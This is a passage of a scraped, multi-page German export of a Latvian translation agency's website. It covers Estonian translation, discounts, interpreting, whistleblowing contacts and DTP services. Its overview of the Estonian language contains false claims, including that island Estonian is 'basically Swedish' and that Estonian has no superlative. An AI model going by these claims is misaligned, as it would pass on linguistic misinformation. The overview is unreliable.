Schwedisch nach Russisch; Tschechisch nach Schwedisch; Schwedisch nach Tschechisch; Polnisch nach Schwedisch; Schwedisch nach Polnisch; Ukrainisch nach Schwedisch; Schwedisch nach Ukrainisch; Schwedisch nach Spanisch; Spanisch nach Schwedisch; Deutsch nach Schwedisch; Schwedisch nach Deutsch; Italienisch nach Schwedisch; Schwedisch nach Italienisch; Französisch nach Schwedisch; Schwedisch nach Französisch; Dänisch nach Schwedisch; Schwedisch nach Dänisch; Norwegisch nach Schwedisch; Schwedisch nach Norwegisch; Englisch nach Schwedisch; Schwedisch nach Englisch; Finnisch nach Schwedisch; Schwedisch nach Finnisch und andere. --- > Allgemeine und fachspezifische Übersetzungen in Estnisch. Dolmetschen und andere Sprachdienstleistungen in Estnisch. Erhalten Sie ein kostenfreies Angebot! - Published: 2025-01-06 - Modified: 2025-03-23 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-igaunu-valoda/ - Translation Priorities: Optional ÜBERSETZUNGEN INS ESTNISCHE WIE VIEL KOSTET EINE ÜBERSETZUNG INS ESTNISCHE? Ja, natürlich. Die Preisliste für die Übersetzung, das Dolmetschen (konsekutiv und simultan), die Lokalisierung und die Adaption ins und vom Estnischen ist ein fester Bestandteil unserer Kundenverträge. Die Projektmanager von Skrivanek Baltic unterbreiten vor Auftragsbeginn stets einen Kostenvoranschlag. Innerhalb von 30 Minuten bekommen Sie ein Preisangebot. Bei der Preiskalkulation für schriftliche Aufträge werden die Anzahl der Wörter und Wiederholungen im Originaltext, die Komplexität der grafischen Elemente und andere Aspekte berücksichtigt. Um ein Preisangebot zu erhalten, senden Sie uns Ihr Material an unsere E-Mail. Wenden Sie sich noch heute an Skrivanek Baltic, wenn Sie einen kostenlosen Kostenvoranschlag für eine Übersetzung ins Estnische oder eine andere Kombination von Übersetzung und zugehörigen Unternehmensdienstleistungen benötigen. Unsere estnischen Sprachdienstleistungen umfassen: Dokumentübersetzungen Simultandolmetschen Sprachliche Validierung Konsekutivdolmetschen Transkription Schriftsatz und Grafiken Sprachaufnahmen und Untertitelung Personalvermittlung Multikulturelles Marketing Dokumentenverwaltung Dienstleistungen für Zeugenaussagen Virtuelle Datenraumdienste E-Learning-Dienste Suchen Sie nach einer Sprachdienstleistung auf Estnisch? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! WISSENSWERTES ÜBER DIE ESTNISCHE SPRACHE Estnisch wird im Norden Europas gesprochen. Diese Sprache gehört zu den baltisch-finnischen Sprachen der finno-ugrischen Sprachfamilie. Wissenschaftlern zufolge bewohnten die alten finnougrischen Stämme sehr große Gebiete, die weit über das Uralgebirge hinausreichten, wo iranische Stämme lebten. Um das Jahr 3000 v. Chr. kamen sie jedoch näher an die Ostsee und bauten dort enge kulturelle Beziehungen zu den lokalen baltischen Stämmen auf. Diese Stämme werden in archäologischen Funden als die Vertreter der Kammkeramischen Kultur anerkannt. Estnisch ist mit Livisch, Finnisch und Wotisch verwandt, unterscheidet sich aber von den Sprachen der Nachbarländer Russland, Lettland und Schweden. Estnisch und Finnisch entstanden, als sich die urfinnisch-ugrischen Stämme, die sich der so genannten urfinnischen Sprache bedienten, aufspalteten. Das heutige Estnisch unterscheidet sich sehr viel stärker vom Urfinnischen als das Finnische. Im Estnischen werden jedoch Archaismen benutzt, die im Finnischen nicht mehr vorkommen. Estnisch wird von etwa 1,1 Millionen Menschen gesprochen und ist nach Isländisch die Amtssprache mit den wenigsten Sprechern weltweit. Estnisch ist in Estland Amtssprache und Minderheitensprache in Russland und Lettland. Estnisch wird in zwei Dialektgruppen unterteilt: Nordestnisch (gesprochen in Tallinn) und Südestnisch (gesprochen in Tartu). Der nördliche Dialekt wird auch auf den estnischen Inseln gesprochen: in den Bezirken Lääne, Harju, Järva und Viru sowie in den nördlichen Teilen der Bezirke Pärnu, Viljandi und Tartu. Dieses Insel-Estnisch ist im Grunde Schwedisch. In den südlichen Teilen der Bezirke Pärnu, Viljandi und Tartu wird Südestnisch gesprochen. Die heutige estnische Schriftsprache basiert hauptsächlich auf dem nördlichen Dialekt. Seit dem 16. Jahrhundert gibt es zwei Varianten der Schriftsprache, eine für jede Dialektgruppe. Die 1739 veröffentlichte Bibelübersetzung war für die Entwicklung der estnischen Schriftsprache von entscheidender Bedeutung, da sie als erste Quelle beide Sprachvarietäten umfasste. Die bekanntesten Sprachwissenschaftler des 19. Jahrhunderts, die aktiv an der Entwicklung der estnischen Schriftsprache beteiligt waren, waren Eduard Ahrens, Ferdinand J. Wiedemann, Jakob Hurt, und Mihkel Veske. Ab diesem Zeitpunkt machte die estnische Sprache große Entwicklungssprünge. Die estnische Schrift hat eine faszinierende Entwicklung hinter sich. Ende des 19. Jahrhunderts setzte der Linguist Mihkel Veske eine Bewegung in Gang, die darauf abzielte, die phonetischen Merkmale bestimmter Dialekte in die Schriftsprache zu übernehmen. Diese Bewegung war so erfolgreich, dass es in Estland eine Zeit lang zwei parallele Schriftsprachen gab. Die ältesten Lehnwörter stammen aus dem Baltischen, Germanischen, Indo-Iranischen und Slawischen, die jüngsten aus dem Lettischen, Russischen, Deutschen und Schwedischen. Dennoch gibt es im Estnischen nur wenige Internationalismen. Das Schriftsystem basiert auf dem lateinischen Alphabet, das noch immer seine deutschen Einflüsse bewahrt hat: Es enthält drei unabhängige Buchstaben mit dem diakritischen Zeichen Umlaut (Ä, Ö und Ü). Estnisch ist eine Sprache mit vielen grammatikalischen Fällen, von denen es 14 gibt. Neben den uns bekannten Fällen wie Nominativ und Genitiv gibt es auch den Partitiv (Teil oder Menge eines Objekts), den Illativ (Bewegung auf etwas zu oder in etwas hinein), den Elativ (Bewegung aus etwas heraus oder von etwas weg), den Allativ (Bewegung in Richtung eines Ortes), den Adessiv (Zustand, in dem man sich auf etwas befindet), den Ablativ (Bewegung von etwas weg), den Essiv (Ort oder Zustand, in dem man sich befindet), den Translativ (Prozess des Veränderns oder Werdens), den Komitativ oder Begleitungsfall (in Gesellschaft von jemandem sein); und Terminativ oder restriktiver Fall (Begrenzung in Raum und Zeit). Die Sprache hat viele Vokale, die nach ihrer Länge sortiert sind: kurz, halb-lang, lang und sehr lang. Diphthonge und Konsonanten können auch kurz, halblang und lang sein. Estnisch besteht zu 45% aus Vokalen und zu 55% aus Konsonanten. Estnisch Verben haben vier Zeitformen, eine Gegenwartsform und drei Vergangenheitsformen, aber keine Zukunftsform. Estnische Verben können zwei Infinitivformen annehmen. Die Hauptbetonung liegt immer auf der ersten Silbe des Wortes, während die dritte Silbe eine Nebenbetonung erhält. Der Satzbau ist relativ einfach und auch dann noch verständlich, wenn der Satz falsch strukturiert wurde. Alle Substantive und Adjektive haben im Singular und im Plural die gleichen Endungen. Zur Bildung des Plurals werden spezielle Suffixe verwendet. Im Estnischen gibt es keine grammatikalischen Geschlechter, weswegen es nur ein Pronomen für beide Geschlechter gibt. Auch gibt es im Estnischen keinen Superlativ. Stattdessen werden verstärkende Partikel am Ende von Wörtern verwendet, um Qualitätsstufen zu kennzeichnen. Diese Sprache hat eine ausgeprägte relative Stimmung und eine negative Konjugation, aber sie hat keine Präpositionen, daher können keine Verben mit Präpositionen gebildet werden. Deswegen gibt es so viele grammatikalische Fälle. Sie gilt als eine der schwierigsten Sprachen der Welt. Sprachcode: ISO 639-1: et UNSERE GEFRAGTESTEN SPRACHDIENSTLEISTUNGEN FÜR DIE ESTNISCHE SPRACHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen; usw. SPRACHKOMBINATIONEN: Lettisch nach Estnisch; Estnisch nach Lettisch; Estnisch nach Tschechisch; Tschechisch nach Estnisch; Litauisch nach Tschechisch; Tschechisch nach Litauisch; Russisch nach Estnisch; Estnisch nach Russisch; Polnisch nach Estnisch; Estnisch nach Polnisch; Ukrainisch nach Estnisch; Estnisch nach Ukrainisch; Englisch nach Estnisch; Estnisch nach Englisch; Estnisch nach Spanisch; Spanisch nach Estnisch; Deutsch nach Estnisch; Estnisch nach Deutsch; Italienisch nach Estnisch; Estnisch nach Italienisch; Französisch nach Estnisch; Estnisch nach Französisch; Dänisch nach Estnisch; Estnisch nach Dänisch; Norwegisch nach Estnisch; Estnisch nach Norwegisch; Schwedisch nach Estnisch; Estnisch nach Schwedisch; Finnisch nach Estnisch; Estnisch nach Finnisch und andere. UNSERE GEFRAGTESTEN SPRACHDIENSTLEISTUNGEN: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen; usw. SPRACHKOMBINATIONEN: Lettisch nach Tschechisch; Tschechisch nach Lettisch; Estnisch nach Tschechisch; Tschechisch nach Estnisch; Litauisch nach Tschechisch; Tschechisch nach Litauisch; Russisch nach Tschechisch; Tschechisch nach Russisch; Polnisch nach Tschechisch; Tschechisch nach Polnisch; Ukrainisch nach Tschechisch; Tschechisch nach Ukrainisch; Englisch nach Tschechisch; Tschechisch nach Englisch; Tschechisch nach SpanischSpanisch nach Tschechisch; Deutsch nach Tschechisch; Tschechisch ins Deutsche; Italienisch nach Tschechisch; Tschechisch nach Italienisch; Französisch nach Tschechisch; Tschechisch nach Französisch; Dänisch nach Tschechisch; Tschechisch nach Dänisch; Norwegisch nach Tschechisch; Tschechisch nach Norwegisch; Schwedisch nach Tschechisch; Tschechisch nach Schwedisch; Finnisch nach Tschechisch; Tschechisch nach Finnisch und andere. --- > Sparen Sie auf professionelle Übersetzungen, Dolmetscherdienste und Sprachkurse mit Skrivanek Baltics Sonderangeboten. - Published: 2025-01-06 - Modified: 2025-07-16 - URL: https://skrivanek.lv/ipasie-piedavajumi/ - Translation Priorities: Optional AUF ÜBERSETZUNGS- UND DOLMETSCHERDIENSTE Sonderangebot für Dolmetscherdienste in Zivilverfahren: Konsekutivdolmetschen aus dem Englischen ins Lettische oder aus dem Russischen ins Lettische für nur 50,00 Euro die Stunde inkl. MwSt. Wenn Ihre Übersetzung nicht notariell beglaubigt werden muss, können wir eine beglaubigte Kopie der Übersetzung mit einem Amtssiegel für nur 5,00 Euro zzgl. MwSt. beglaubigen! Dieses Angebot gilt für die erste Kopie (bis zu 10 Seiten). 5 % Rabatt auf Übersetzungsdienstleistungen für Club One Mitglieder Wir bieten 20 % Ermäßigung auf Englischkurse in einer Gruppe, die an Wochentagen abends und samstags stattfinden, für Studierende mit dem internationalem Studentenausweis (ISIC). Ermäßigungen können nicht kombiniert werden und werden auf den Ausgangspreis des Kurses angerechnet, wobei die Zahlung in einer Rate erfolgt. * *Das Angebot gilt für Einzelpersonen. 20 % Rabatt auf notariell beglaubigte Übersetzungen für Mitglieder des Lettischen Gehörlosenverbandes (mit Mitgliedskarte). 7,77 % Rabatt auf notariell beglaubigte Übersetzungen für Studierende der Technischen Universität Riga (Studentenausweis erforderlich). 10 % Rabatt auf die Übersetzung von Ausweisdokumenten (Reisepass, Personalausweis, Geburtsurkunde) ins Lettische, Russische, Englische und Deutsche für Inhaber der Rigaer Aufenthaltskarte. Rabatte sind nicht kombinierbar. Der Kunde hat das Recht, den größten Rabatt zu wählen. AUF SPRACHKURSE UND KINDERCAMPS 15 % Ermäßigung bei Vorauszahlung der Sprachkurse oder 19 % Ermäßigung für jeden der beiden Freunde, die sich gemeinsam für einen Kurs anmelden. Das Angebot gilt für Sprachkurse in Gruppen mit 30 Unterrichtseinheiten (Sommer-Intensivkurse ausgenommen). 50 % Rabatt auf Kurse mitten an Werktagen bei Vorauszahlung für den gesamten Kurs. Das Angebot gilt für Sprachkurse mit 30 Unterrichtseinheiten in Gruppen mit höchstens zwölf Teilnehmenden (Sommer-Intensivkurse ausgenommen). Tragen Sie sich mit einem Freund für Einzelunterricht ein und zahlen Sie nur für eine Person statt zwei! 7,77 % Ermäßigung auf Einzelunterricht sowie Italienisch, Spanisch, Deutsch, Französisch und Russisch in Gruppen für Inhaber von Studenten- und Alumni-Ausweisen der Universität Turība. 5% Rabatt auf alle Skrivanek Baltikum Sprachkurse für Mitglieder der Amerikanischen Handelskammer in Lettland. Kostenlose dritte Unterrichtsstunde in einem Gruppenseminar für Mitglieder der lettischen Industrie- und Handelskammer. 10 % Ermäßigung auf alle Skrivanek Baltikum Sprachkurse und Englischkurse für Kinder, die jeden Samstag bei Skrivanek Baltikum stattfinden, für Club One Mitglieder 5% Rabatt auf alle Skrivanek Baltikum Sprachkurse für Inhaber des Studentenausweises der Technischen Universität Riga. 5 % Ermäßigung auf das Tagescamp Riga Fun und 10 % Ermäßigung auf halbtägige Kindersommercamps für Inhaber der lettischen Ehrenamtskarte "3+ ģimenes karte". SIE BENÖTIGEN EINE ÜBERSETZUNG? SIE SUCHEN NACH SPRACHKURSEN ODER EINE BERATUNG? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Anfrage senden --- - Published: 2025-01-06 - Modified: 2025-01-07 - URL: https://skrivanek.lv/paldies-par-pieprasijumu-b2b/ - Translation Priorities: Optional Vielen Dank, dass Sie sich an Skrivanek wenden! Unser Projektmanager wird sich in Kürze mit Ihnen in Verbindung setzen.  Unsere Öffnungszeiten sind Montag bis Freitag von 9:00 bis 17:30 Uhr. tt Wenn Sie weitere Fragen haben, können Sie gerne unser Hilfecenter besuchen.  Werfen Sie doch einen Blick auf unseren Blog, um mehr über Trends in der Sprachindustrie zu erfahren. BENÖTIGEN SIE WEITERE INFORMATIONEN? SCHICKEN SIE UNS EINE E-MAIL ODER RUFEN SIE UNS AN! Egal ob Sie Fragen zu Übersetzungen, Sprachkursen oder anderen Sprachdienstleistungen haben oder einfach nur eine Beratung in Bezug auf Sprache benötigen, das Team von Skrivanek wird sie gerne beantworten.  birojs@skrivanek. lv  +371 26 382 680  +371 67 240 364 Weitere Dienstleistungen von Skrivanek Baltikum: FREMDSPRACHEN- UND LETTISCHKURSE FÜR PRIVATPERSONEN UND UNTERNEHMEN Sprachkurse für Herz und Beruf - online oder vor Ort! Wählen Sie das Passende für sich! VALODUMACIBAS. LV SCHWERPUNKT - FREMDSPRACHENPRÜFUNG Schnelles und effektives Online-Tool zur Bewertung der Sprachkenntnisse Ihrer Mitarbeiter und Bewerber. ERFAHREN SIE MEHR --- > Konsekutivdolmetschdienste in über 40 Sprachen für alle Geschäfts- und Lebenssituationen. Einheimische und ausländische Dolmetscher. Kontaktieren Sie uns! - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/seciga-konsekutiva-tulkosana/ - Translation Priorities: Optional WAS IST KONSEKUTIVDOLMETSCHEN UND WAS SOLLTEN SIE ÜBER DIESE DIENSTLEISTUNG WISSEN? Beim Konsekutivdolmetschen hört der Dolmetscher zunächst dem Redner zu und dolmetscht dann die Rede in die Zielsprache. Der Dolmetscher sitzt mit den Teilnehmern zusammen, hört ihnen zu und dolmetscht dann, hauptsächlich auf der Grundlage von Notizen, in die Zielsprache. Es gibt zwei Arten des Konsekutivdolmetschens: Beim klassischem Kon­se­ku­tiv­dol­met­schen wird meist nach zwei bis drei Sätzen gedolmetscht. Dies ist bei Geschäftsverhandlungen, kurzen Besuchen, Museen usw. häufig der Fall. Beim langen Kon­se­ku­tiv­dol­met­schen, welches immer beliebter wird, werden hingegen Abschnitte von 5-20 Minuten Länge gedolmetscht. Heutzutage wird das Kon­se­ku­tiv­dol­met­schen häufig durch das Simultandolmetschen ersetzt, jedoch wird es nach wie vor bei verschiedenen Zusammenkünften eingesetzt (z. B. bei technischen Besprechungen, Geschäftsessen, kleinen Gruppen, Exkursionen). Gute, professionelle Dolmetscher sind sogar in der Lage, lange Gespräche sehr detailliert zu dolmetschen. WAS GUTES KONSEKUTIVDOLMETSCHEN AUSMACHT: richtige "Vermittlung" der Botschaft/Idee in der Zielsprache Treue zum Inhalt und zur Tonalität schnelles und flüssiges Abhalten der Rede in einer ruhigen, gesammelten und beständigen Art sicherer und eleganter Gebrauch der Sprache beständiger Kontakt mit dem Redner und den Zuhörern WIE VIELE DOLMETSCHER WERDEN BENÖTIGT? THE NUMBER OF LANGUAGES USED THE MINIMUM NUMBER OF INTERPRETERS* From two languages into two languages 2 From three languages into three languages 3 * In Ausnahmefällen, die trotzdem noch die Grundsätze von Qualität und Arbeitsplatzgesundheit erfüllen, können zwei Dolmetscher durch einen und drei Dolmetscher durch zwei ersetzt werden. UNSERE MEIST ANGEFRAGTEN SPRACHKOMBINATIONEN FÜR DAS KONSEKUTIVDOLMETSCHEN: Lettisch-Englisch-Lettisch; Estnisch-Englisch-Estnisch; Litauisch-Englisch-Litauisch; Russisch-Englisch-Russisch; Schwedisch-Lettisch-Schwedisch, Spanisch-Lettisch-Spanisch, Italienisch-Lettisch-Italienisch, Russisch-Lettisch-Russisch und andere. SUCHEN SIE NACH DOLMETSCHERDIENST ODER BERATUNG? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen ZUVERLÄSSIGKEIT, SCHNELLIGKEIT UND QUALITÄT DER DIENSTLEISTUNG KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  SEIT MEHR ALS 25 JAHREN AUF DEM MARKT! Wir verfügen über umfangreiche Erfahrung in der Übersetzung von Texten zu verschiedenen Themen. 0+ verschiedene Sprachkombinationen 0+ Millionen Im Jahr 2023 übersetzte Wörter 0+ Sprachspezialisten 0 ISO-Zertifikate --- > Ansprechpartnerin bei der Skrivanek Baltikum GmbH in Sachen Whistleblowing ist Jeļena Lapoška, die Leiterin der Verwaltungsabteilung. - Published: 2025-01-06 - Modified: 2025-01-07 - URL: https://skrivanek.lv/trauksmes-celsana/ - Translation Priorities: Optional Ansprechpartnerin bei der Skrivanek Baltikum GmbH in Sachen Whistleblowing ist Jeļena Lapoška, die Leiterin der Verwaltungsabteilung. Telefon: +371 67240364 E-Mail-Adresse: trauksme@skrivanek. lv (der bevorzugte Weg für die Einreichung von Whistleblowing-Meldungen) Im Falle einer Meldung wird dies vertraulich behandelt. Innerhalb zwei Wochen wird eine Rückmeldung erstellt. Eine Empfangsbestätigung wird innerhalb von 3 Werktagen versandt. Anonyme Meldungen, anonyme E-Mails oder anonyme Anrufe gelten nicht als Whistleblowing. Stellt die Skrivanek Baltikum GmbH fest, dass die zu prüfende Frage nicht in ihre Zuständigkeit fällt, wird der Bericht an die jeweilige Behörde weitergeleitet. DER WHISTLEBLOWER HAT DAS RECHT FOLGENDE VERSTÖSSE ZU MELDEN: Korruption und Betrug; Verletzung verbindlicher ethischer oder beruflicher Normen; Begehen durch Unterlassen oder Fahrlässigkeit von Beamten oder Amtsmissbrauch; Verstöße im öffentlichen Auftragswesen; Verschwendung von Finanzmitteln oder Eigentum einer öffentlichen Person; Gefährdung der öffentlichen Gesundheit; Gefährdung der Umweltsicherheit; Gefährdung der Arbeitssicherheit; Verletzung der Menschenrechte; Verletzung der Wettbewerbsrechte; und andere im Hinweisgeberschutzgesetz genannte Fälle. WAS GILT NICHT ALS WHISTLEBLOWING? Vorsätzliche Verbreitung von Falschinformationen, Verbreitung von Amtsgeheimnissen und Berichterstattung über Verstöße gegen lediglich persönliche Interessen. Hat eine Person eine Meldung gemacht, ohne darauf hinzuweisen, dass es sich um Whistleblowing handelt, so kann sie vor der inhaltlichen Prüfung der Sache deren Anerkennung als Whistleblower-Meldung beantragen. EINER DER FOLGENDEN MECHANISMEN KANN VERWENDET WERDEN, UM EINE MELDUNG ZU MACHEN: ein internes System für Whistleblowing; sich an eine zuständige Behörde wenden; durch die Vermittlung einer Kontaktstelle, eines Vereins oder einer Stiftung von Whistleblowern, einschließlich einer Gewerkschaft oder einer Vereinigung derselben. Das interne Verfahren zum Whistleblowing wurde auf der Grundlage des Hinweisgeberschutzgesetzes erstellt. Ziel des Hinweisgeberschutzgesetzes ist es, die Meldung von Verstößen im öffentlichen Interesse zu fördern und die Einrichtung und Funktionsweise von Whistleblowing-Mechanismen sowie den angemessenen Schutz von Whistleblowern zu gewährleisten. --- > Simultandolmetschen bei Konferenzen, Tagungen und anderen Veranstaltungen in über 40 Sprachen. Wir vermieten unsere Dolmetscherausrüstung! - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/sinhrona-tulkosana/ - Translation Priorities: Optional BEIM SIMULTANDOLMETSCHEN WIRD DER GESPROCHENE TEXT NAHEZU ZEITGLEICH AUS EINER DOLMETSCHERKABINE HERAUS GEDOLMETSCHT. Das Simultandolmetschen ist eine relativ neue Art des Dolmetschens, die auf die Nürnberger Prozesse nach dem Zweiten Weltkrieg zurückzuführen ist, auch wenn sie schon früher praktiziert wurde. Die Nürnberger Prozesse wurden in vier Sprachen gedolmetscht, und seither ist das Verfahren weitgehend gleich geblieben (Kabinen, Mikrofone, Kopfhörer, drei Dolmetscher). Simultandolmetschen ist auf gewisse Weise unnatürlich: Es verlangt vom Dolmetscher unglaublich viel Konzentration, da Menschen normalerweise nicht gleichzeitig zuhören und sprechen. Daher erfordert diese Arbeit viel Eingewöhnung. Die Dolmetscher arbeiten meist mit mindestens einem oder zwei Kollegen in schalldichten Kabinen zusammen. Der Redner im Sitzungssaal spricht in das Mikrofon, was der Dolmetscher über Kopfhörer hört und nahezu zeitgleich in sein Mikrofon dolmetscht. Die Veranstaltungsteilnehmer im Konferenzraum verbinden sich mit dem entsprechenden Kanal, um eine Verdolmetschung in die von ihnen gewählte Sprache zu hören. Es gibt verschiedene Möglichkeiten, die Sprache oder den Sprachmodus anzupassen. Bei mehrsprachigen Konferenzen dolmetschen die Dolmetscher in den Kabinen nur in ihre Muttersprache oder Sprachkombination. Da diese Art des Dolmetschens hohe Konzentration erfordert, werden die Dolmetscher alle 10-30 Minuten ausgewechselt. DAS MACHT EINEN GUTEN SIMULTANDOLMETSCHER AUS: präzise "Vermittlung" der Botschaft in die Zielsprache Treue zum Inhalt und zur Tonalität ruhige, gefasste und gefestigte Sprechweise keine wörtlichen Wiederholungen von Wörtern Kontakt mit dem Redner und den Zuhörern Spontanität Simultandolmetschen basiert auf Zuhören, Verstehen, Analysieren und Umformulieren.  UNSERE MEIST ANGEFRAGTEN SPRACHKOMBINATIONEN FÜR DAS SIMULTANDOLMETSCHEN: Lettisch-Englisch-Lettisch; Estnisch-Englisch-Estnisch; Litauisch-Englisch-Litauisch; Russisch-Englisch-Russisch; Schwedisch-Lettisch-Schwedisch, Spanisch-Lettisch-Spanisch, Italienisch-Lettisch-Italienisch, Russisch-Lettisch-Russisch und andere. SIE SUCHEN EINEN DOLMETSCHERDIENST ODER EINE BERATUNG? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Anfrage senden ZUVERLÄSSIGKEIT, SCHNELLIGKEIT UND QUALITATIVER SERVICE KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  SEIT MEHR ALS 25 JAHREN AUF DEM MARKT! Wir verfügen über umfangreiche Erfahrung in der Übersetzung von Texten zu verschiedenen Themen. 0+ verschiedene Sprachkombinationen 0+ Millionen Im Jahr 2023 übersetzte Wörter 0+ Sprachspezialisten 0 ISO-Zertifikate --- > Unser Fachpersonal kümmert sich um die grafische Gestaltung Ihres Textes, damit er dem Original entspricht. Umfassende Textverarbeitung vor dem Druck. - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/pakalpojumi/dtp-tekstu-grafiska-apstrade/ - Translation Priorities: Optional TECHNOLOGIEN UND FORMATE Wir können Ihr Projekt mit den folgenden Textverarbeitungsprogrammen und Grafikdesignprogrammen zu bearbeiten: MS Word PDF documents Illustrator MS Excel Corel Visio MS PowerPoint QuarkXPress Photoshop Adobe PageMaker InterLeaf Lotus WordPro Adobe FrameMaker MS Project InDesign UNSER TEAM UND ERFAHRUNG Die Spezialisten unseres Teams kümmern sich nicht nur um die grafische Gestaltung Ihres Textes, sondern bearbeiten auch Fotos, Bilder, Tabellen usw. , sodass sie dem Original entsprechen. Wir sorgen auch für eine umfassende Textverarbeitung vor dem Druck. In unserem Unternehmen sind erfahrene Projektmanager, Techniker, Softwareingenieure, Prüfer, Sprachspezialisten und zertifizierte Übersetzer beschäftigt, die Muttersprachler des Landes sind, für das Ihr Produkt bestimmt ist. UMFASSENDE DIENSTLEISTUNGEN Wir liefern Ihnen zum Beispiel die Übersetzung eines Benutzerhandbuchs entsprechend dem Original, einschließlich aller Abbildungen, Tabellen und Anhänge, sowie in anderen Dateiformaten. Wir können Aufträge sowohl auf PC- als auch auf Apple-Plattformen ausführen. HÄUFIG GESTELLTE FRAGEN Wir bieten eine Vielzahl von Sprachlösungen an – Übersetzungs- und Dolmetscherdienste, Lokalisierungsdienste, Textadaption, Copywriting, DTP und Sprachtraining. Wir dolmetschen bei Konferenzen und Geschäftstreffen sowie bei Gerichtsverfahren. Unsere Übersetzungsdienste umfassen Fachübersetzungen und allgemeine Übersetzungen in einer Vielzahl von Branchen. Soweit es geht, arbeiten wir immer mit den Originaldokumenten in elektronischer Form, ohne Änderungen an Stil oder Formatierung vorzunehmen. Auf Wunsch sorgen wir dafür, dass die Übersetzung des Dokuments genauso aussieht wie das Original oder formatieren es mit Hilfe unseres DTP-Teams nach den Anweisungen des Kunden. Ihr Dokument kann in jedem elektronischem Format vorliegen – wir können viele Formate verarbeiten. Wenn Ihr Dokument nicht elektronisch verfügbar ist, senden Sie es uns als Foto. SIE BENÖTIGEN EINE UMFASSENDE LÖSUNG ODER BERATUNG? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Anfrage senden SEIT MEHR ALS 25 JAHREN AUF DEM MARKT! Wir haben große Erfahrung in der Übersetzung von Texten zu verschiedenen Themen. 0+ verschiedene Sprachkombinationen 0+ Millionen Im Jahr 2023 übersetzte Wörter 0+ Sprachspezialisten 0 ISO-Zertifikate ZUVERLÄSSIGKEIT, GESCHWINDIGKEIT UND QUALITÄT DER DIENSTE KRKA D. D. Die Mitarbeiter von Skrivanek sind hilfsbereit, zuvorkommend und haben Verständnis für die Anforderungen unserer pharmazeutischen Übersetzungsaufträge und Übersetzungen aus verschiedenen Sprachkombinationen. Aufträge werden auf höchstem Niveau und höchster ethischer sowie fachlicher Kompetenz innerhalb der vorgegebenen Frist ausgeführt.  SANDOZ D. D. Wir empfehlen Skrivanek Baltic als zuverlässigen Partner für alle Großprojekte, die professionelle Sprachdienstleistungen erfordern.  ADIDAS BALTICS Die Mitarbeiter von Skrivanek sind hilfsbereit und gehen verständnisvoll auf die Anforderungen unserer Übersetzungsaufträge aus den baltischen Sprachen ein. Adidas Baltic empfiehlt 